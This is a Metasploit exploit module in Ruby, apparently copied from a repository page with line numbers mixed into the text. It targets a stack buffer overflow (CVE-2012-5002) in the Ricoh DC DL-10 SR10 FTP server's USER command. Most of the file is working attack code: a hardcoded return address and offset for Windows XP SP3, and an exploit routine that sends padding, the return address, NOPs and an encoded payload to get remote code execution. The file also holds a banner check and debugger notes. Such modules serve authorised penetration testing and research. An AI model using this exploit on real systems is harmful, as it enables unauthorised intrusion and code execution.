Path: blob/master/modules/exploits/windows/ftp/ricoh_dl_bof.rb
19851 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::Ftp910def initialize(info = {})11super(12update_info(13info,14'Name' => "Ricoh DC DL-10 SR10 FTP USER Command Buffer Overflow",15'Description' => %q{16This module exploits a vulnerability found in Ricoh DC's DL-10 SR10 FTP17service. By supplying a long string of data to the USER command, it is18possible to trigger a stack-based buffer overflow, which allows remote code19execution under the context of the user.2021Please note that in order to trigger the vulnerability, the server must22be configured with a log file name (by default, it's disabled).23},24'License' => MSF_LICENSE,25'Author' => [26'Julien Ahrens', # Discovery, PoC27'sinn3r' # Metasploit28],29'References' => [30['CVE', '2012-5002'],31['OSVDB', '79691'],32['URL', 'http://web.archive.org/web/20120514112629/http://secunia.com/advisories/47912/'],33['URL', 'http://www.inshell.net/2012/03/ricoh-dc-software-dl-10-ftp-server-sr10-exe-remote-buffer-overflow-vulnerability/']34],35'Payload' => {36# Yup, no badchars37'BadChars' => "\x00",38},39'DefaultOptions' => {40'EXITFUNC' => "process",41},42'Platform' => 'win',43'Targets' => [44[45'Windows XP SP3',46{47'Ret' => 0x77c35459, # PUSH ESP; RETN (msvcrt.dll)48'Offset' => 24549}50]51],52'Privileged' => false,53'DisclosureDate' => '2012-03-01',54'DefaultTarget' => 0,55'Notes' => {56'Reliability' => UNKNOWN_RELIABILITY,57'Stability' => UNKNOWN_STABILITY,58'SideEffects' => UNKNOWN_SIDE_EFFECTS59}60)61)6263# We're triggering the bug via the USER command, no point to have user/pass64# as configurable options.65deregister_options('FTPPASS', 'FTPUSER')66end6768def check69connect70disconnect71if banner =~ /220 DSC ftpd 1\.0 FTP Server/72return Exploit::CheckCode::Appears73else74return Exploit::CheckCode::Safe75end76end7778def exploit79buf = ''80buf << rand_text_alpha(target['Offset'], payload_badchars)81buf << [target.ret].pack('V')82buf << make_nops(20)83buf << payload.encoded8485print_status("#{rhost}:#{rport} - Sending #{self.name}")86connect87send_user(buf)88handler89disconnect90end91end9293=begin940:002> lmv m SR1095start end module name9600400000 00410000 SR10 (deferred)97Image path: C:\Program Files\DC Software\SR10.exe98Image name: SR10.exe99Timestamp: Mon May 19 23:55:32 2008 (483275E4)100CheckSum: 00000000101ImageSize: 00010000102File version: 1.0.0.520103Product version: 1.0.0.0104File flags: 0 (Mask 3F)105File OS: 4 Unknown Win32106File type: 1.0 App107File date: 00000000.00000000108Translations: 0409.04b0109CompanyName: Ricoh Co.,Ltd.110ProductName: SR-10111InternalName: SR-10112OriginalFilename: SR10.EXE113ProductVersion: 1, 0, 0, 0114FileVersion: 1, 0, 0, 520115PrivateBuild: 1, 0, 0, 520116SpecialBuild: 1, 0, 0, 520117FileDescription: SR-10118119120Note: No other DC Software dlls are loaded when SR-10.exe is running, so the most121stable component we can use is msvcrt.dll for now.122=end123124125